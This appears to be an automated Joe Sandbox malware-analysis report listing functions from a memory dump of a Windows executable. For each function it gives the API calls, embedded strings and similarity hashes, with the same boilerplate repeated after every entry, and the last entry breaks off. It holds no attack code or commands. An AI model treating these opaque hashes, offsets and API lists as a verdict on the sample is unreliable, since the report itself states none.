Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: 9224be57c14df170efc54b04b191a119648945d4c044847e6a3f81b1316494a1
Instruction ID: c6e9bc8bf896cc2303e5d87c3ca5b00c47951e77392bfd40426381ab2a8882cd
Opcode Fuzzy Hash: 9224be57c14df170efc54b04b191a119648945d4c044847e6a3f81b1316494a1
Instruction Fuzzy Hash: 5861C570608301AFD310DF54D889FAABBE4EF45B10F10489DF9859B291D774EE48CB92

Function 00B58195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00B58257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00B58267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00B58273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00B58310
SetCurrentDirectoryW.KERNEL32(?), ref: 00B58324
SetCurrentDirectoryW.KERNEL32(?), ref: 00B58356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00B5838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00B58395

Strings

*.*, xrefs: 00B5839B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: a0ebb9ca1616d4a3e1dca5539b86afca62c9ab58769a88b4df9fb164022a31d5
Instruction ID: 172bde2aea336cce8202064aa5cab3e81e12af7b618c8e1d4ba4cca9f74389f6
Opcode Fuzzy Hash: a0ebb9ca1616d4a3e1dca5539b86afca62c9ab58769a88b4df9fb164022a31d5
Instruction Fuzzy Hash: C0617C725043459FC710EF60C845AAFB7E8FF89310F04899DF99997251DB31E949CBA2

Function 00B53388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00B533CF

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00B533F0

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00B53504
Line %d (File "%s"):, xrefs: 00B53443, 00B5345C
^ ERROR , xrefs: 00B5349E
Incorrect parameters to object property !, xrefs: 00B534AB
"%s" (%d) : ==> %s:, xrefs: 00B53522
Error: , xrefs: 00B534D1

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: 2e1cf08b22c78ee6b25d7d21a18938df082bc0b81a46a1522cf531d8a03cda5e
Instruction ID: dc587f0d3dcec23e198f0a782a7cf750138c259e7757a3a450a0e5388a381eac
Opcode Fuzzy Hash: 2e1cf08b22c78ee6b25d7d21a18938df082bc0b81a46a1522cf531d8a03cda5e
Instruction Fuzzy Hash: E151AE72800249AADF15EBA1CE46EEEB7F8EF14740F2445A5F40573162EB312F58DB60

Function 00B4B5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00B4B5FC
_wcslen.LIBCMT ref: 00B4B608
_wcslen.LIBCMT ref: 00B4B64D
_wcslen.LIBCMT ref: 00B4B68C
_wcslen.LIBCMT ref: 00B4B6C7

Strings

APPEND, xrefs: 00B4B6C1, 00B4B6C6
REMOVE, xrefs: 00B4B602, 00B4B607
EXISTS, xrefs: 00B4B686, 00B4B68B
KEYS, xrefs: 00B4B647, 00B4B64C

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: f073002c6e7750f089132f3440c51d8178b25f290175630a8775ddc5e74839ba
Instruction ID: bc96fb15c38670f0aa416956326ef06025b48a6bd12cab1079236ea342f81489
Opcode Fuzzy Hash: f073002c6e7750f089132f3440c51d8178b25f290175630a8775ddc5e74839ba
Instruction Fuzzy Hash: 7C41F933A000269BCB105F7DC8909BEF7E5EF61754B2641A9EA21D7284E731CE81E790

Function 00B55393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00B553A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00B55416
GetLastError.KERNEL32 ref: 00B55420
SetErrorMode.KERNEL32(00000000,READY), ref: 00B554A7

Strings

READONLY, xrefs: 00B55452
READY, xrefs: 00B55460, 00B55468
UNKNOWN, xrefs: 00B55444
INVALID, xrefs: 00B55459
NOTREADY, xrefs: 00B5544B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: a55ab4f44e0bf22eff6ddf0ded1b2f46a18b56c585b3a47b75dbfcc6cc521fdd
Instruction ID: 4087a29925b206bf718e0547ede3503a58f430e10736a5fed32ef580dcabc32d
Opcode Fuzzy Hash: a55ab4f44e0bf22eff6ddf0ded1b2f46a18b56c585b3a47b75dbfcc6cc521fdd
Instruction Fuzzy Hash: 78318D75A006049FD720DF68C494BAABBF4EB45307F1880E9E8059B396DB31DD8ACB90

Function 00B73C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00B73C79
SetMenu.USER32(?,00000000), ref: 00B73C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B73D10
IsMenu.USER32(?), ref: 00B73D24
CreatePopupMenu.USER32 ref: 00B73D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00B73D5B
DrawMenuBar.USER32 ref: 00B73D63

Strings

F, xrefs: 00B73D4E
0, xrefs: 00B73C54

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: 13633c4271dfc60bd76b9389c9f2f5083807a9d88fe87244d0f283f4d1f9c2e5
Instruction ID: 845778e7addc94ccc5d96de60e5f11e4755067e4ff9f1611a2264e92b49db93d
Opcode Fuzzy Hash: 13633c4271dfc60bd76b9389c9f2f5083807a9d88fe87244d0f283f4d1f9c2e5
Instruction Fuzzy Hash: 48418974A01209EFDB24CF64D884AAA7BF5FF49700F14406CF96AA7360DB71AA10DF90

Function 00B41EDF Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

Part of subcall function 00B43CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00B43CCA

SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 00B41F64
GetDlgCtrlID.USER32 ref: 00B41F6F
GetParent.USER32 ref: 00B41F8B
SendMessageW.USER32(00000000,?,00000111,?), ref: 00B41F8E
GetDlgCtrlID.USER32(?), ref: 00B41F97
GetParent.USER32(?), ref: 00B41FAB
SendMessageW.USER32(00000000,?,00000111,?), ref: 00B41FAE

Strings

ComboBox, xrefs: 00B41EEC
ListBox, xrefs: 00B41F21

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: de96cc97617959751557eb0e0e7a50d5a3d822ce9b812417fd194b0b0a3b2a9b
Instruction ID: 7c083e2bdcf42127e1f17829a1283c40d70699d1ee8173e27848ba583ed66704
Opcode Fuzzy Hash: de96cc97617959751557eb0e0e7a50d5a3d822ce9b812417fd194b0b0a3b2a9b
Instruction Fuzzy Hash: 5921F270D00214BBCF00AFA4CC84EEEBBF8EF15300F104589F965632A1DB348A49DB60

Function 00B73A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00B73A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00B73AA0
GetWindowLongW.USER32(?,000000F0), ref: 00B73AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00B73AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00B73B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00B73BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00B73BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00B73BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00B73BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00B73C13

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 6574dbd4e456f79ed60b63998b1e39cd1868d1ad692433e18ec2d95dbc4d53a4
Instruction ID: 054dde8768bebd3a38fc867df8fdd544d32b995cd41bf74f075f1bbe6b3ee074
Opcode Fuzzy Hash: 6574dbd4e456f79ed60b63998b1e39cd1868d1ad692433e18ec2d95dbc4d53a4
Instruction Fuzzy Hash: C6616C75900248AFDB11DFA8CC81EEE77F8EB09700F104599FA19A72A1D774AE45DF50

Function 00B4B12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00B4B151
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00B4A1E1,?,00000001), ref: 00B4B165
GetWindowThreadProcessId.USER32(00000000), ref: 00B4B16C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00B4A1E1,?,00000001), ref: 00B4B17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 00B4B18D
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00B4A1E1,?,00000001), ref: 00B4B1A6
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00B4A1E1,?,00000001), ref: 00B4B1B8
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00B4A1E1,?,00000001), ref: 00B4B1FD
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00B4A1E1,?,00000001), ref: 00B4B212
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00B4A1E1,?,00000001), ref: 00B4B21D

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: ffae3840b053a8788f08dbcf98bae174e9fc67d5b1d528d6424d5fdc7c0957fd
Instruction ID: 2cd8d5328913be268a9e684a049ca1d6f94b809dc20da8d29c524b6fa10caa29
Opcode Fuzzy Hash: ffae3840b053a8788f08dbcf98bae174e9fc67d5b1d528d6424d5fdc7c0957fd
Instruction Fuzzy Hash: D4316571550208AFDB20AF24DCA8FBA7FE9FF51711F204159FA09A7190DBF4DA809B60

Function 00B12C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B12C94

Part of subcall function 00B129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00B1D7D1,00000000,00000000,00000000,00000000,?,00B1D7F8,00000000,00000007,00000000,?,00B1DBF5,00000000), ref: 00B129DE
Part of subcall function 00B129C8: GetLastError.KERNEL32(00000000,?,00B1D7D1,00000000,00000000,00000000,00000000,?,00B1D7F8,00000000,00000007,00000000,?,00B1DBF5,00000000,00000000), ref: 00B129F0

_free.LIBCMT ref: 00B12CA0
_free.LIBCMT ref: 00B12CAB
_free.LIBCMT ref: 00B12CB6
_free.LIBCMT ref: 00B12CC1
_free.LIBCMT ref: 00B12CCC
_free.LIBCMT ref: 00B12CD7
_free.LIBCMT ref: 00B12CE2
_free.LIBCMT ref: 00B12CED
_free.LIBCMT ref: 00B12CFB

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1b6a3cea24693f95976b6dd1c956ab6cc5e20ad95ad40d3b873a36fe4af67920
Instruction ID: e0cd0bce89d35c0498253e41e1ec67c93f192998c5353cea5b6e4a7cb4e09ea3
Opcode Fuzzy Hash: 1b6a3cea24693f95976b6dd1c956ab6cc5e20ad95ad40d3b873a36fe4af67920
Instruction Fuzzy Hash: 89114676510108AFCB02EF58D942CDD3BA5FF053A0F9145A5FA485F322D631EEA09B90

Function 00AE1410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00AE1459
OleUninitialize.OLE32(?,00000000), ref: 00AE14F8
UnregisterHotKey.USER32(?), ref: 00AE16DD
DestroyWindow.USER32(?), ref: 00B224B9
FreeLibrary.KERNEL32(?), ref: 00B2251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00B2254B

Strings

close all, xrefs: 00AE1454

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 9043b917beed19a496bc6ee424bf4bb53a2618b7b2347a3c919995db3a70ad5e
Instruction ID: 155f25b2f0f83a3353748e8875841fe50b5be8cf3877d9c9abcb6a7ae27d1e47
Opcode Fuzzy Hash: 9043b917beed19a496bc6ee424bf4bb53a2618b7b2347a3c919995db3a70ad5e
Instruction Fuzzy Hash: B0D16B317012629FCB29EF16D995A29F7E0BF09700F1482EDE54EAB261DB30AD52CF51

Function 00B57DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00B57FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00B57FC1
GetFileAttributesW.KERNEL32(?), ref: 00B57FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 00B58005
SetCurrentDirectoryW.KERNEL32(?), ref: 00B58017
SetCurrentDirectoryW.KERNEL32(?), ref: 00B58060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00B580B0

Strings

*.*, xrefs: 00B58066

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: 928881d65e814e626447271e0f228fe80477060257969b9f9ca5febd45e61b2e
Instruction ID: 1d7145c29effba61432ff089ddcb3c02566edc4145f38763cf699dcfa2abc2ae
Opcode Fuzzy Hash: 928881d65e814e626447271e0f228fe80477060257969b9f9ca5febd45e61b2e
Instruction Fuzzy Hash: 378191716483419BCB20EF14D885A6AB7E8FB88311F1448DEFC89D7251EB34DD498B92

Function 00AE5BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00AE5C7A

Part of subcall function 00AE5D0A: GetClientRect.USER32(?,?), ref: 00AE5D30
Part of subcall function 00AE5D0A: GetWindowRect.USER32(?,?), ref: 00AE5D71
Part of subcall function 00AE5D0A: ScreenToClient.USER32(?,?), ref: 00AE5D99

GetDC.USER32 ref: 00B246F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00B24708
SelectObject.GDI32(00000000,00000000), ref: 00B24716
SelectObject.GDI32(00000000,00000000), ref: 00B2472B
ReleaseDC.USER32(?,00000000), ref: 00B24733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00B247C4

Strings

U, xrefs: 00B24693

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: ce8a4034bb6e8ba5245cc171cc9a81ba7dd3fbebda13c51e952b720473d34daf
Instruction ID: abfd32801aba265a064c6acc3d65643f86d92ad582c9ee976f31e358c75c4f2c
Opcode Fuzzy Hash: ce8a4034bb6e8ba5245cc171cc9a81ba7dd3fbebda13c51e952b720473d34daf
Instruction Fuzzy Hash: 26710130900205DFCF218F64E984ABA3BF1FF8A324F2442A9ED695B5A6C7318C81DF50

Function 00B5359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 00B535E4

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

LoadStringW.USER32(00BB2390,?,00000FFF,?), ref: 00B5360A

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00B53724
Line %d (File "%s"):, xrefs: 00B5366B
^ ERROR, xrefs: 00B536C9
"%s" (%d) : ==> %s:, xrefs: 00B53742
Error: , xrefs: 00B536EF

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: d9971e6edd82e045c1e0de7b7d07b842801d5ffaca89fea0cb63a4d22b586f7e
Instruction ID: adc33e8e225ef53f15bd25da780d94876d6ecc8e270bfa66e66c545f2386dc14
Opcode Fuzzy Hash: d9971e6edd82e045c1e0de7b7d07b842801d5ffaca89fea0cb63a4d22b586f7e
Instruction Fuzzy Hash: 27519F72C0024ABBCF15EBA1CD42EEEBBB4EF14740F5441A9F505721A1EB301B89DB61

Function 00B5C253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00B5C272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B5C29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00B5C2CA
GetLastError.KERNEL32 ref: 00B5C322
SetEvent.KERNEL32(?), ref: 00B5C336
InternetCloseHandle.WININET(00000000), ref: 00B5C341

Strings

, xrefs: 00B5C2BB

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: ce9b6d6a1e38fc50c386144ba6d26226c9b6a2cac15d66a891747098b93758a2
Instruction ID: b3be9a9d2110b2fa33235817da4a8f0f560fa52935b52e1b2fb7fba9bd6e20d1
